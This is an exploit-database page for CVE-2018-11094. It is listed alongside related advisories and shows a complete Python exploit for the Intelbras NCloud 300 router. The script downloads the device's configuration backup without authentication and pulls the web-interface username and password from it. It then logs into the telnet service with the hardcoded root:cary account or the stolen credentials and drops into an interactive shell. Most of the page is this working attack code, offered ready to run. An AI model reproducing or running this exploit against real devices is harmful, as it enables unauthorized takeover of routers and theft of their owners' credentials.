Lucene search
+L

Intelbras NCLOUD 300 1.0 - Authentication bypass

🗓️ 17 May 2018 00:00:00Reported by Pedro AguiarType 
exploitpack
 exploitpack
👁 78 Views

Intelbras NCloud 300 1.0 authentication bypass allows remote configuration backup download, revealing web interface credentials and hardcoded telnet credentials

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Intelbras NCLOUD 300 1.0 - Authentication bypass Exploit
17 May 201800:00
–zdt
bdu_fstec
BDU FSTEC
Intelbras NCLOUD 300 Wi-Fi Router Privilege Escalation
29 Jun 201800:00
–bdu_fstec
cnvd
CNVD
Intelbras NCLOUD 300 Denial of Service Vulnerability
17 May 201800:00
–cnvd
cve
CVE
CVE-2018-11094
15 May 201819:00
–cve
cvelist
Cvelist
CVE-2018-11094
15 May 201819:00
–cvelist
exploitdb
Exploit DB
Intelbras NCLOUD 300 1.0 - Authentication bypass
17 May 201800:00
–exploitdb
nvd
NVD
CVE-2018-11094
15 May 201819:29
–nvd
openvas
OpenVAS
Intelbras NCLOUD 300 Router Authentication Bypass Vulnerability
17 May 201800:00
–openvas
osv_cve
osv_cve
CVE-2018-11094
15 May 201819:29
–osv_cve
packetstorm
Packet Storm
Intelbras NCLOUD 300 1.0 Authentication Bypass
17 May 201800:00
–packetstorm
Rows per page
# coding: utf-8
# Exploit Title: Intelbras NCloud Authentication bypass
# Date: 16/05/2018
# Exploit Author: Pedro Aguiar - [email protected]
# Vendor Homepage: http://www.intelbras.com.br/
# Software Link: http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/roteadores/ncloud
# Version: 1.0
# Tested on: Linux
# CVE : CVE-2018-11094
# Description: As described here: https://blog.kos-lab.com/Hello-World/ the Ncloud 300 device does not properly
# enforce authentication, allowing an attacker to remotely download the configurations backup ('/cgi-bin/ExportSettings.sh').
# The configurations backup file contains the web interface username and password. 
# Also, there are hardcoded credentials in the telnet service (root:cary), in cases where root user does not exist, 
# it was replaced by the web interface credentials. This exploit downloads the backup file and tries to use the credentials
# to log into the device using telnet.

import sys
import requests
import telnetlib
import re

def help():
    print 'Usage: '
    print 'python exploit.py http://192.168.0.1'

def pop_shell(host, user, password):
    if(user == "root"):
        print '[+] Trying default credentials: root:cary'
    else:
        print '[+] Trying credentials obtained from /cgi-bin/ExportSettings.sh'
        with open('NCLOUD_config.dat', "r") as f:
            content = f.read()
            user = content.split("Login=")[1].split("\n")[0]
            password = content.split("Password=")[1].split("\n")[0]
            #print 'User: '+ user
            #print 'Password: '+ password
            f.close()
    try:
            ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', host)[0]
            tn = telnetlib.Telnet(ip, 23, timeout=10)
            tn.expect(["WORKGROUP login:"], 5)
            tn.write(user + "\r\n")
            tn.expect(["Password:"], 5)
            tn.write(password + "\r\n")
            i = tn.expect(["Login incorrect"], 5)
            if i[0] != -1:
                raise ValueError('[-] Wrong credential')
            tn.write("cat /proc/cpuinfo\r\n")
            tn.interact()

            tn.close()
    except Exception as e:
        print e
        if(user == "root"):
            pop_shell(host, 'try', 'again')

def exploit(host):
    print '[*] Connecting to %s' %host
    path = '/cgi-bin/ExportSettings.sh'
    payload = 'Export=Salvar'

    response = requests.post(host + path, data=payload)
    response.raise_for_status()

    if(response.status_code == 200 and "Login=" in response.text):
        print '[+] Config download was successful'
        print '[+] Saving backup file to NCLOUD_config.dat'
        with open('NCLOUD_config.dat', "w") as f:
            f.write(response.text)
            f.close()
        pop_shell(host, "root", "cary")
def main():
    if len(sys.argv) < 2 or not sys.argv[1].startswith('http://'):
        help()
        return
    host = sys.argv[1]
    exploit(host)

if __name__ == '__main__':
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation